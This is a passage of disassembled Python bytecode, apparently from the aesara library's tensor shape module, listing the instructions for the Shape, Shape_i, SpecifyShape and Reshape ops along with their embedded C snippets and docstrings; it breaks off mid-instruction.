('ParamsType',) IMPORT_NAME aesara.link.c.params_type IMPORT_FROM ParamsType STORE_NAME ParamsType POP_TOP LOAD_CONST 0 LOAD_CONST ('_asarray',) IMPORT_NAME aesara.misc.safe_asarray IMPORT_FROM _asarray STORE_NAME _asarray POP_TOP LOAD_CONST 0 LOAD_CONST ('int32',) IMPORT_NAME aesara.scalar IMPORT_FROM int32 STORE_NAME int32 POP_TOP LOAD_CONST 0 LOAD_CONST ('_get_vector_length', 'as_tensor_variable') IMPORT_NAME aesara.tensor IMPORT_FROM _get_vector_length STORE_NAME _get_vector_length IMPORT_FROM as_tensor_variable STORE_NAME as_tensor_variable POP_TOP LOAD_CONST 0 LOAD_CONST ('basic',) IMPORT_NAME aesara.tensor IMPORT_FROM basic STORE_NAME at POP_TOP LOAD_CONST 0 LOAD_CONST ('get_vector_length',) IMPORT_NAME aesara.tensor IMPORT_FROM get_vector_length STORE_NAME get_vector_length POP_TOP LOAD_CONST 0 LOAD_CONST ('NotScalarConstantError',) IMPORT_NAME aesara.tensor.exceptions IMPORT_FROM NotScalarConstantError STORE_NAME NotScalarConstantError POP_TOP LOAD_CONST 0 LOAD_CONST ('DenseTensorType', 'TensorType', 'int_dtypes', 'tensor') IMPORT_NAME aesara.tensor.type IMPORT_FROM DenseTensorType STORE_NAME DenseTensorType IMPORT_FROM TensorType STORE_NAME TensorType IMPORT_FROM int_dtypes STORE_NAME int_dtypes IMPORT_FROM tensor STORE_NAME tensor POP_TOP LOAD_CONST 0 LOAD_CONST ('NoneConst',) IMPORT_NAME aesara.tensor.type_other IMPORT_FROM NoneConst STORE_NAME NoneConst POP_TOP LOAD_CONST 0 LOAD_CONST ('TensorConstant', 'TensorVariable') IMPORT_NAME aesara.tensor.var IMPORT_FROM TensorConstant STORE_NAME TensorConstant IMPORT_FROM TensorVariable STORE_NAME TensorVariable POP_TOP LOAD_NAME Union LOAD_CONST None LOAD_NAME np LOAD_ATTR integer LOAD_NAME int LOAD_NAME Variable BUILD_TUPLE BINARY_SUBSCR STORE_NAME ShapeValueType LOAD_CONST ((),) LOAD_CONST <code object register_shape_c_code at 0x7f8b2000b390, file "f.py", line 28> LOAD_CONST 'register_shape_c_code' MAKE_FUNCTION STORE_NAME register_shape_c_code LOAD_BUILD_CLASS LOAD_CONST <code object Shape at 0x7f8e2fe410c0, file "f.py", line 47> LOAD_CONST 'Shape' MAKE_FUNCTION LOAD_CONST 'Shape' LOAD_NAME COp CALL_FUNCTION STORE_NAME Shape LOAD_NAME Shape CALL_FUNCTION STORE_NAME _shape LOAD_NAME Union LOAD_NAME np LOAD_ATTR ndarray LOAD_NAME Number LOAD_NAME Variable BUILD_TUPLE BINARY_SUBSCR LOAD_NAME Variable LOAD_CONST ('x', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object shape at 0x7f8e2fe41b70, file "f.py", line 128> LOAD_CONST 'shape' MAKE_FUNCTION STORE_NAME shape LOAD_NAME _get_vector_length LOAD_METHOD register LOAD_NAME Shape CALL_METHOD LOAD_CONST <code object _get_vector_length_Shape at 0x7f8e2fe41a50, file "f.py", line 143> LOAD_CONST '_get_vector_length_Shape' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _get_vector_length_Shape LOAD_NAME TensorVariable LOAD_NAME Tuple LOAD_NAME Variable LOAD_CONST Ellipsis BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('x', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object shape_tuple at 0x7f8e2fe411e0, file "f.py", line 148> LOAD_CONST 'shape_tuple' MAKE_FUNCTION STORE_NAME shape_tuple LOAD_BUILD_CLASS LOAD_CONST <code object Shape_i at 0x7f8af06a6810, file "f.py", line 171> LOAD_CONST 'Shape_i' MAKE_FUNCTION LOAD_CONST 'Shape_i' LOAD_NAME COp CALL_FUNCTION STORE_NAME Shape_i LOAD_CONST (None,) LOAD_CONST <code object shape_i at 0x7f8af06a6b70, file "f.py", line 270> LOAD_CONST 'shape_i' MAKE_FUNCTION STORE_NAME shape_i LOAD_CONST <code object shape_i_op at 0x7f8af06a6390, file "f.py", line 307> LOAD_CONST 'shape_i_op' MAKE_FUNCTION STORE_NAME shape_i_op BUILD_MAP LOAD_NAME shape_i_op STORE_ATTR cache LOAD_CONST ((),) LOAD_CONST <code object register_shape_i_c_code at 0x7f8af06a6660, file "f.py", line 317> LOAD_CONST 'register_shape_i_c_code' MAKE_FUNCTION STORE_NAME register_shape_i_c_code LOAD_BUILD_CLASS LOAD_CONST <code object SpecifyShape at 0x7f8e2fc180c0, file "f.py", line 336> LOAD_CONST 'SpecifyShape' MAKE_FUNCTION LOAD_CONST 'SpecifyShape' LOAD_NAME COp CALL_FUNCTION STORE_NAME SpecifyShape LOAD_NAME SpecifyShape CALL_FUNCTION STORE_NAME _specify_shape LOAD_NAME Union LOAD_NAME np LOAD_ATTR ndarray LOAD_NAME Number LOAD_NAME Variable BUILD_TUPLE BINARY_SUBSCR LOAD_NAME Union LOAD_NAME ShapeValueType LOAD_NAME List LOAD_NAME ShapeValueType BINARY_SUBSCR LOAD_NAME Tuple LOAD_NAME ShapeValueType BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('x', 'shape') BUILD_CONST_KEY_MAP LOAD_CONST <code object specify_shape at 0x7f8e2fc18db0, file "f.py", line 498> LOAD_CONST 'specify_shape' MAKE_FUNCTION STORE_NAME specify_shape LOAD_NAME _get_vector_length LOAD_METHOD register LOAD_NAME SpecifyShape CALL_METHOD LOAD_CONST <code object _get_vector_length_SpecifyShape at 0x7f8e2fc18270, file "f.py", line 529> LOAD_CONST '_get_vector_length_SpecifyShape' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _get_vector_length_SpecifyShape LOAD_BUILD_CLASS LOAD_CONST <code object Reshape at 0x7f8b200ce6f0, file "f.py", line 537> LOAD_CONST 'Reshape' MAKE_FUNCTION LOAD_CONST 'Reshape' LOAD_NAME COp CALL_FUNCTION STORE_NAME Reshape LOAD_CONST (None,) LOAD_CONST <code object reshape at 0x7f8b200ce930, file "f.py", line 688> LOAD_CONST 'reshape' MAKE_FUNCTION STORE_NAME reshape LOAD_CONST (1,) LOAD_CONST <code object shape_padleft at 0x7f8b200cea50, file "f.py", line 711> LOAD_CONST 'shape_padleft' MAKE_FUNCTION STORE_NAME shape_padleft LOAD_CONST (1,) LOAD_CONST <code object shape_padright at 0x7f8b200ceb70, file "f.py", line 727> LOAD_CONST 'shape_padright' MAKE_FUNCTION STORE_NAME shape_padright LOAD_CONST <code object shape_padaxis at 0x7f8b200cec90, file "f.py", line 743> LOAD_CONST 'shape_padaxis' MAKE_FUNCTION STORE_NAME shape_padaxis LOAD_NAME register_shape_c_code LOAD_NAME TensorType LOAD_CONST '\n npy_intp shape[] = {PyArray_NDIM(%(iname)s)};\n if(%(oname)s == NULL || (PyArray_DIMS(%(oname)s)[0] != shape[0]))\n {\n Py_XDECREF(%(oname)s);\n %(oname)s = (PyArrayObject*) PyArray_SimpleNew(1, shape, NPY_INT64);\n }\n for(int i=0;i<shape[0];i++)\n {\n ((npy_int64*)PyArray_GETPTR1(%(oname)s, i))[0] = PyArray_DIMS(%(iname)s)[i];\n }\n ' LOAD_CONST 1 LOAD_CONST ('version',) CALL_FUNCTION POP_TOP LOAD_NAME register_shape_i_c_code LOAD_NAME TensorType LOAD_CONST '\n if(!%(oname)s)\n %(oname)s=(PyArrayObject*)PyArray_EMPTY(0, NULL, NPY_INT64, 0);\n ((npy_int64*)PyArray_DATA(%(oname)s))[0]=PyArray_DIMS(%(iname)s)[%(i)s];\n ' LOAD_CONST '\n if (%(i)s>=PyArray_NDIM(%(iname)s)){\n PyErr_SetString(PyExc_TypeError,\n "Number of dimensions lower than expected");\n %(fail)s\n }\n ' LOAD_CONST 3 LOAD_CONST ('version',) CALL_FUNCTION POP_TOP LOAD_CONST <code object specify_broadcastable at 0x7f8b200cedb0, file "f.py", line 815> LOAD_CONST 'specify_broadcastable' MAKE_FUNCTION STORE_NAME specify_broadcastable LOAD_BUILD_CLASS LOAD_CONST <code object Unbroadcast at 0x7f8b20108540, file "f.py", line 849> LOAD_CONST 'Unbroadcast' MAKE_FUNCTION LOAD_CONST 'Unbroadcast' LOAD_NAME COp CALL_FUNCTION STORE_NAME Unbroadcast LOAD_CONST <code object unbroadcast at 0x7f8b20108660, file "f.py", line 925> LOAD_CONST 'unbroadcast' MAKE_FUNCTION STORE_NAME unbroadcast LOAD_CONST None RETURN_VALUE LOAD_FAST code LOAD_FAST version BUILD_TUPLE LOAD_GLOBAL Shape LOAD_ATTR c_code_and_version LOAD_FAST type STORE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'Shape' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_CONST '\n L{Op} to return the shape of a matrix.\n\n Notes\n -----\n Non-differentiable.\n\n ' STORE_NAME __doc__ LOAD_CONST True STORE_NAME _f16_ok BUILD_MAP STORE_NAME c_code_and_version LOAD_NAME Dict LOAD_NAME __annotations__ LOAD_CONST 'c_code_and_version' STORE_SUBSCR LOAD_CONST False STORE_NAME check_input LOAD_CONST () STORE_NAME __props__ LOAD_CONST <code object make_node at 0x7f8e2fe415d0, file "f.py", line 64> LOAD_CONST 'Shape.make_node' MAKE_FUNCTION STORE_NAME make_node LOAD_CONST <code object perform at 0x7f8e2fe41e40, file "f.py", line 75> LOAD_CONST 'Shape.perform' MAKE_FUNCTION STORE_NAME perform LOAD_CONST <code object infer_shape at 0x7f8e2fe41f60, file "f.py", line 80> LOAD_CONST 'Shape.infer_shape' MAKE_FUNCTION STORE_NAME infer_shape LOAD_CONST <code object connection_pattern at 0x7f8e2fe41930, file "f.py", line 83> LOAD_CONST 'Shape.connection_pattern' MAKE_FUNCTION STORE_NAME connection_pattern LOAD_CONST <code object grad at 0x7f8e2fe41420, file "f.py", line 86> LOAD_CONST 'Shape.grad' MAKE_FUNCTION STORE_NAME grad LOAD_CONST <code object R_op at 0x7f8e2fe418a0, file "f.py", line 89> LOAD_CONST 'Shape.R_op' MAKE_FUNCTION STORE_NAME R_op LOAD_CONST <code object c_code at 0x7f8e2fe41540, file "f.py", line 92> LOAD_CONST 'Shape.c_code' MAKE_FUNCTION STORE_NAME c_code LOAD_CONST <code object c_code_cache_version at 0x7f8e2fe419c0, file "f.py", line 104> LOAD_CONST 'Shape.c_code_cache_version' MAKE_FUNCTION STORE_NAME c_code_cache_version LOAD_CONST None RETURN_VALUE LOAD_GLOBAL isinstance LOAD_FAST x LOAD_GLOBAL Variable CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL at LOAD_METHOD as_tensor_variable LOAD_FAST x CALL_METHOD STORE_FAST x LOAD_GLOBAL isinstance LOAD_FAST x LOAD_ATTR type LOAD_GLOBAL TensorType CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL TensorType LOAD_CONST 'int64' LOAD_FAST x LOAD_ATTR type LOAD_ATTR ndim BUILD_TUPLE CALL_FUNCTION CALL_FUNCTION STORE_FAST out_var JUMP_FORWARD to 64 LOAD_GLOBAL aesara LOAD_ATTR tensor LOAD_ATTR type LOAD_METHOD lvector CALL_METHOD STORE_FAST out_var LOAD_GLOBAL Apply LOAD_FAST self LOAD_FAST x BUILD_LIST LOAD_FAST out_var BUILD_LIST CALL_FUNCTION RETURN_VALUE LOAD_FAST inp UNPACK_SEQUENCE STORE_FAST x LOAD_FAST out_ UNPACK_SEQUENCE STORE_FAST out LOAD_GLOBAL _asarray LOAD_GLOBAL np LOAD_METHOD shape LOAD_FAST x CALL_METHOD LOAD_CONST 'int64' LOAD_CONST ('dtype',) CALL_FUNCTION LOAD_FAST out LOAD_CONST 0 STORE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_GLOBAL len LOAD_FAST in_shapes LOAD_CONST 0 BINARY_SUBSCR CALL_FUNCTION BUILD_LIST BUILD_LIST RETURN_VALUE LOAD_CONST False BUILD_LIST BUILD_LIST RETURN_VALUE LOAD_GLOBAL aesara LOAD_ATTR gradient LOAD_METHOD DisconnectedType CALL_METHOD CALL_FUNCTION BUILD_LIST RETURN_VALUE LOAD_CONST None BUILD_LIST RETURN_VALUE LOAD_FAST inames UNPACK_SEQUENCE STORE_FAST iname LOAD_FAST onames UNPACK_SEQUENCE STORE_FAST oname LOAD_FAST sub LOAD_CONST 'fail' BINARY_SUBSCR STORE_FAST fail LOAD_FAST node LOAD_ATTR inputs LOAD_CONST 0 BINARY_SUBSCR LOAD_ATTR type LOAD_ATTR __class__ STORE_FAST itype LOAD_FAST itype LOAD_FAST self LOAD_ATTR c_code_and_version COMPARE_OP in POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR c_code_and_version LOAD_FAST itype BINARY_SUBSCR UNPACK_SEQUENCE STORE_FAST code STORE_FAST version LOAD_FAST code LOAD_GLOBAL locals CALL_FUNCTION BINARY_MODULO RETURN_VALUE LOAD_GLOBAL NotImplementedError CALL_FUNCTION RAISE_VARARGS LOAD_CONST None RETURN_VALUE BUILD_LIST STORE_FAST version SETUP_LOOP to 92 LOAD_GLOBAL sorted LOAD_FAST self LOAD_ATTR c_code_and_version LOAD_METHOD items CALL_METHOD LOAD_CONST <code object <lambda> at 0x7f8e2fe416f0, file "f.py", line 107> LOAD_CONST 'Shape.c_code_cache_version.<locals>.<lambda>' MAKE_FUNCTION LOAD_CONST ('key',) CALL_FUNCTION GET_ITER FOR_ITER to 90 UNPACK_SEQUENCE STORE_FAST t UNPACK_SEQUENCE STORE_FAST c STORE_FAST v LOAD_FAST v POP_JUMP_IF_TRUE LOAD_GLOBAL warnings LOAD_ATTR warn LOAD_CONST 'Type ' LOAD_FAST t FORMAT_VALUE LOAD_CONST " has C code for Shape, but it has no version. You should add a 'version' keyword arg when calling register_shape_c_code." BUILD_STRING LOAD_CONST 2 LOAD_CONST ('stacklevel',) CALL_FUNCTION POP_TOP LOAD_CONST () RETURN_VALUE LOAD_FAST version LOAD_METHOD append LOAD_GLOBAL str LOAD_FAST t CALL_FUNCTION LOAD_FAST v BUILD_TUPLE CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_FAST version POP_JUMP_IF_FALSE LOAD_FAST version LOAD_METHOD append LOAD_CONST 1 CALL_METHOD POP_TOP LOAD_GLOBAL tuple LOAD_FAST version CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL str LOAD_FAST pair LOAD_CONST 0 BINARY_SUBSCR CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL isinstance LOAD_FAST x LOAD_GLOBAL Variable CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL at LOAD_METHOD as_tensor_variable LOAD_FAST x CALL_METHOD STORE_FAST x LOAD_FAST x LOAD_ATTR type STORE_FAST x_type LOAD_GLOBAL isinstance LOAD_FAST x_type LOAD_GLOBAL TensorType CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL all LOAD_CONST <code object <genexpr> at 0x7f8e2fe41ae0, file "f.py", line 135> LOAD_CONST 'shape.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST x_type LOAD_ATTR shape GET_ITER CALL_FUNCTION CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL at LOAD_ATTR as_tensor_variable LOAD_FAST x_type LOAD_ATTR shape LOAD_CONST 1 LOAD_GLOBAL np LOAD_ATTR int64 LOAD_CONST ('ndim', 'dtype') CALL_FUNCTION STORE_FAST res JUMP_FORWARD to 86 LOAD_GLOBAL _shape LOAD_FAST x CALL_FUNCTION STORE_FAST res LOAD_FAST res RETURN_VALUE LOAD_FAST .0 FOR_ITER to 18 STORE_FAST s LOAD_FAST s LOAD_CONST None COMPARE_OP is not YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_FAST var LOAD_ATTR owner LOAD_ATTR inputs LOAD_CONST 0 BINARY_SUBSCR LOAD_ATTR type LOAD_ATTR ndim RETURN_VALUE LOAD_GLOBAL isinstance LOAD_FAST x LOAD_ATTR type LOAD_GLOBAL HasShape CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_CONST () RETURN_VALUE LOAD_CONST () STORE_FAST res LOAD_GLOBAL shape LOAD_FAST x CALL_FUNCTION STORE_FAST symbolic_shape LOAD_FAST x LOAD_ATTR type LOAD_ATTR shape STORE_FAST static_shape SETUP_LOOP to 114 LOAD_GLOBAL range LOAD_FAST x LOAD_ATTR type LOAD_ATTR ndim CALL_FUNCTION GET_ITER FOR_ITER to 112 STORE_FAST i LOAD_FAST static_shape LOAD_FAST i BINARY_SUBSCR STORE_FAST shape_val LOAD_FAST shape_val LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST res LOAD_GLOBAL aesara LOAD_ATTR scalar LOAD_METHOD ScalarConstant LOAD_GLOBAL aesara LOAD_ATTR scalar LOAD_ATTR int64 LOAD_FAST shape_val CALL_METHOD BUILD_TUPLE INPLACE_ADD STORE_FAST res JUMP_ABSOLUTE LOAD_FAST res LOAD_FAST symbolic_shape LOAD_FAST i BINARY_SUBSCR BUILD_TUPLE INPLACE_ADD STORE_FAST res JUMP_ABSOLUTE POP_BLOCK LOAD_FAST res RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'Shape_i' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_CONST '\n L{Op} to return the shape of a matrix.\n\n Notes\n -----\n Non-differentiable.\n\n ' STORE_NAME __doc__ LOAD_CONST True STORE_NAME _f16_ok BUILD_MAP STORE_NAME c_code_and_version LOAD_NAME Dict LOAD_NAME __annotations__ LOAD_CONST 'c_code_and_version' STORE_SUBSCR LOAD_CONST False STORE_NAME check_input LOAD_CONST ('i',) STORE_NAME __props__ LOAD_CONST <code object __init__ at 0x7f8af06a64b0, file "f.py", line 189> LOAD_CONST 'Shape_i.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_CONST <code object params_type at 0x7f8af06a6300, file "f.py", line 196> LOAD_CONST 'Shape_i.params_type' MAKE_FUNCTION CALL_FUNCTION STORE_NAME params_type LOAD_CONST <code object __str__ at 0x7f8af06a6420, file "f.py", line 200> LOAD_CONST 'Shape_i.__str__' MAKE_FUNCTION STORE_NAME __str__ LOAD_CONST <code object make_node at 0x7f8af06a60c0, file "f.py", line 203> LOAD_CONST 'Shape_i.make_node' MAKE_FUNCTION STORE_NAME make_node LOAD_CONST <code object perform at 0x7f8af06a6270, file "f.py", line 212> LOAD_CONST 'Shape_i.perform' MAKE_FUNCTION STORE_NAME perform LOAD_CONST <code object c_code_cache_version at 0x7f8af06a6d20, file "f.py", line 220> LOAD_CONST 'Shape_i.c_code_cache_version' MAKE_FUNCTION STORE_NAME c_code_cache_version LOAD_CONST <code object c_code at 0x7f8af06a6f60, file "f.py", line 240> LOAD_CONST 'Shape_i.c_code' MAKE_FUNCTION STORE_NAME c_code LOAD_CONST <code object infer_shape at 0x7f8af06a6a50, file "f.py", line 253> LOAD_CONST 'Shape_i.infer_shape' MAKE_FUNCTION STORE_NAME infer_shape LOAD_CONST <code object connection_pattern at 0x7f8af06a68a0, file "f.py", line 256> LOAD_CONST 'Shape_i.connection_pattern' MAKE_FUNCTION STORE_NAME connection_pattern LOAD_CONST <code object grad at 0x7f8af06a65d0, file "f.py", line 259> LOAD_CONST 'Shape_i.grad' MAKE_FUNCTION STORE_NAME grad LOAD_CONST None RETURN_VALUE LOAD_GLOBAL isinstance LOAD_FAST i LOAD_GLOBAL np LOAD_ATTR ndarray CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST i LOAD_ATTR dtype LOAD_GLOBAL aesara LOAD_ATTR tensor LOAD_ATTR type LOAD_ATTR integer_dtypes COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST i LOAD_GLOBAL int LOAD_FAST i CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL int LOAD_FAST i CALL_FUNCTION STORE_FAST i LOAD_FAST i LOAD_FAST self STORE_ATTR i LOAD_CONST None RETURN_VALUE LOAD_GLOBAL ParamsType LOAD_GLOBAL aesara LOAD_ATTR scalar LOAD_ATTR basic LOAD_ATTR int64 LOAD_CONST ('i',) CALL_FUNCTION RETURN_VALUE LOAD_CONST '%s{%i}' LOAD_FAST self LOAD_ATTR __class__ LOAD_ATTR __name__ LOAD_FAST self LOAD_ATTR i BUILD_TUPLE BINARY_MODULO RETURN_VALUE LOAD_GLOBAL isinstance LOAD_FAST x LOAD_GLOBAL Variable CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL hasattr LOAD_FAST x LOAD_ATTR type LOAD_CONST 'ndim' CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL TypeError LOAD_FAST x FORMAT_VALUE LOAD_CONST ' must be `Variable` with a `Type` having an ndim attribute' BUILD_STRING CALL_FUNCTION RAISE_VARARGS LOAD_FAST x LOAD_ATTR type LOAD_ATTR ndim LOAD_FAST self LOAD_ATTR i COMPARE_OP <= POP_JUMP_IF_FALSE LOAD_GLOBAL TypeError LOAD_FAST x FORMAT_VALUE LOAD_CONST ' has too few dimensions for Shape_i' BUILD_STRING CALL_FUNCTION RAISE_VARARGS LOAD_GLOBAL Apply LOAD_FAST self LOAD_FAST x BUILD_LIST LOAD_GLOBAL aesara LOAD_ATTR tensor LOAD_ATTR type LOAD_METHOD lscalar CALL_METHOD BUILD_LIST CALL_FUNCTION RETURN_VALUE LOAD_FAST inp UNPACK_SEQUENCE STORE_FAST x LOAD_FAST out_ UNPACK_SEQUENCE STORE_FAST out LOAD_FAST out LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_GLOBAL _asarray LOAD_GLOBAL np LOAD_METHOD shape LOAD_FAST x CALL_METHOD LOAD_FAST self LOAD_ATTR i BINARY_SUBSCR LOAD_CONST 'int64' LOAD_CONST ('dtype',) CALL_FUNCTION LOAD_FAST out LOAD_CONST 0 STORE_SUBSCR JUMP_FORWARD to 78 LOAD_GLOBAL np LOAD_METHOD shape LOAD_FAST x CALL_METHOD LOAD_FAST self LOAD_ATTR i BINARY_SUBSCR LOAD_FAST out LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST Ellipsis STORE_SUBSCR LOAD_CONST None RETURN_VALUE BUILD_LIST STORE_FAST version SETUP_LOOP to 94 LOAD_GLOBAL sorted LOAD_FAST self LOAD_ATTR c_code_and_version LOAD_METHOD items CALL_METHOD LOAD_CONST <code object <lambda> at 0x7f8af06a69c0, file "f.py", line 223> LOAD_CONST 'Shape_i.c_code_cache_version.<locals>.<lambda>' MAKE_FUNCTION LOAD_CONST ('key',) CALL_FUNCTION GET_ITER FOR_ITER to 92 UNPACK_SEQUENCE STORE_FAST t UNPACK_SEQUENCE STORE_FAST c STORE_FAST ci STORE_FAST v LOAD_FAST v POP_JUMP_IF_TRUE LOAD_GLOBAL warnings LOAD_ATTR warn LOAD_CONST 'Type ' LOAD_FAST t FORMAT_VALUE LOAD_CONST " has C code for Shape_i, but it has no version. You should add a 'version' keyword arg when calling register_shape_i_c_code." BUILD_STRING LOAD_CONST 2 LOAD_CONST ('stacklevel',) CALL_FUNCTION POP_TOP LOAD_CONST () RETURN_VALUE LOAD_FAST version LOAD_METHOD append LOAD_GLOBAL str LOAD_FAST t CALL_FUNCTION LOAD_FAST v BUILD_TUPLE CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_FAST version POP_JUMP_IF_FALSE LOAD_FAST version LOAD_METHOD append LOAD_CONST 2 CALL_METHOD POP_TOP LOAD_GLOBAL tuple LOAD_FAST version CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL str LOAD_FAST pair LOAD_CONST 0 BINARY_SUBSCR CALL_FUNCTION RETURN_VALUE LOAD_FAST inames UNPACK_SEQUENCE STORE_FAST iname LOAD_FAST onames UNPACK_SEQUENCE STORE_FAST oname LOAD_FAST sub LOAD_CONST 'fail' BINARY_SUBSCR STORE_FAST fail LOAD_FAST sub LOAD_CONST 'params' BINARY_SUBSCR LOAD_CONST '->i' BINARY_ADD STORE_FAST i LOAD_FAST node LOAD_ATTR inputs LOAD_CONST 0 BINARY_SUBSCR LOAD_ATTR type LOAD_ATTR __class__ STORE_FAST itype LOAD_FAST itype LOAD_FAST self LOAD_ATTR c_code_and_version COMPARE_OP in POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR c_code_and_version LOAD_FAST itype BINARY_SUBSCR UNPACK_SEQUENCE STORE_FAST code STORE_FAST check_input STORE_FAST version LOAD_FAST check_input LOAD_FAST code BINARY_ADD LOAD_GLOBAL locals CALL_FUNCTION BINARY_MODULO RETURN_VALUE LOAD_GLOBAL NotImplementedError CALL_FUNCTION RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST () BUILD_LIST RETURN_VALUE LOAD_CONST False BUILD_LIST BUILD_LIST RETURN_VALUE LOAD_GLOBAL aesara LOAD_ATTR gradient LOAD_ATTR grad_not_implemented LOAD_FAST self LOAD_CONST 0 LOAD_FAST inp LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST 'No gradient for the shape of a matrix is implemented.' LOAD_CONST ('op', 'x_pos', 'x', 'comment') CALL_FUNCTION BUILD_LIST RETURN_VALUE LOAD_DEREF fgraph POP_JUMP_IF_FALSE LOAD_GLOBAL hasattr LOAD_DEREF fgraph LOAD_CONST 'shape_feature' CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_DEREF fgraph LOAD_ATTR shape_feature STORE_DEREF shape_feature LOAD_DEREF shape_feature LOAD_ATTR shape_of STORE_DEREF shape_of LOAD_CLOSURE fgraph LOAD_CLOSURE recur LOAD_CLOSURE shape_feature LOAD_CLOSURE shape_of BUILD_TUPLE LOAD_CONST <code object recur at 0x7f8af06a6780, file "f.py", line 293> LOAD_CONST 'shape_i.<locals>.recur' MAKE_FUNCTION STORE_DEREF recur LOAD_FAST var LOAD_DEREF shape_of COMPARE_OP not in POP_JUMP_IF_FALSE LOAD_DEREF recur LOAD_FAST var LOAD_ATTR owner CALL_FUNCTION POP_TOP LOAD_DEREF shape_of LOAD_FAST var BINARY_SUBSCR LOAD_FAST i BINARY_SUBSCR RETURN_VALUE LOAD_GLOBAL shape LOAD_FAST var CALL_FUNCTION LOAD_FAST i BINARY_SUBSCR RETURN_VALUE LOAD_FAST node LOAD_ATTR outputs LOAD_CONST 0 BINARY_SUBSCR LOAD_DEREF shape_of COMPARE_OP not in POP_JUMP_IF_FALSE SETUP_LOOP to 46 LOAD_FAST node LOAD_ATTR inputs GET_ITER FOR_ITER to 44 STORE_FAST inp LOAD_FAST inp LOAD_ATTR owner POP_JUMP_IF_FALSE LOAD_DEREF recur LOAD_FAST inp LOAD_ATTR owner CALL_FUNCTION POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_DEREF shape_feature LOAD_METHOD on_import LOAD_DEREF fgraph LOAD_FAST node LOAD_CONST 'graph.ops.shape_i' CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST i STORE_FAST key LOAD_FAST key LOAD_GLOBAL shape_i_op LOAD_ATTR cache COMPARE_OP not in POP_JUMP_IF_FALSE LOAD_GLOBAL Shape_i LOAD_FAST i CALL_FUNCTION LOAD_GLOBAL shape_i_op LOAD_ATTR cache LOAD_FAST key STORE_SUBSCR LOAD_GLOBAL shape_i_op LOAD_ATTR cache LOAD_FAST key BINARY_SUBSCR RETURN_VALUE LOAD_FAST code LOAD_FAST check_input LOAD_FAST version BUILD_TUPLE LOAD_GLOBAL Shape_i LOAD_ATTR c_code_and_version LOAD_FAST typ STORE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'SpecifyShape' STORE_NAME __qualname__ LOAD_CONST '\n L{Op} that puts into the graph the user-provided shape.\n\n In the case where this `Op` stays in the final graph, we assert the shape.\n For this the output of this op must be used in the graph. This is not\n the case most of the time if we only take the shape of the output.\n Maybe there are other optimizations that will mess with this.\n\n Notes\n -----\n Maybe in the future we will never do the assert!\n ' STORE_NAME __doc__ LOAD_CONST 0 LOAD_CONST 0 BUILD_LIST BUILD_MAP STORE_NAME view_map LOAD_CONST () STORE_NAME __props__ LOAD_CONST True STORE_NAME _f16_ok LOAD_CONST <code object make_node at 0x7f8af06a66f0, file "f.py", line 354> LOAD_CONST 'SpecifyShape.make_node' MAKE_FUNCTION STORE_NAME make_node LOAD_CONST <code object perform at 0x7f8af06a6ed0, file "f.py", line 396> LOAD_CONST 'SpecifyShape.perform' MAKE_FUNCTION STORE_NAME perform LOAD_CONST <code object infer_shape at 0x7f8e2fc18390, file "f.py", line 410> LOAD_CONST 'SpecifyShape.infer_shape' MAKE_FUNCTION STORE_NAME infer_shape LOAD_CONST <code object connection_pattern at 0x7f8e2fc18f60, file "f.py", line 427> LOAD_CONST 'SpecifyShape.connection_pattern' MAKE_FUNCTION STORE_NAME connection_pattern LOAD_CONST <code object grad at 0x7f8e2fc186f0, file "f.py", line 430> LOAD_CONST 'SpecifyShape.grad' MAKE_FUNCTION STORE_NAME grad LOAD_CONST <code object R_op at 0x7f8e2fc18ed0, file "f.py", line 437> LOAD_CONST 'SpecifyShape.R_op' MAKE_FUNCTION STORE_NAME R_op LOAD_CONST <code object c_code at 0x7f8e2fc18660, file "f.py", line 442> LOAD_CONST 'SpecifyShape.c_code' MAKE_FUNCTION STORE_NAME c_code LOAD_CONST <code object 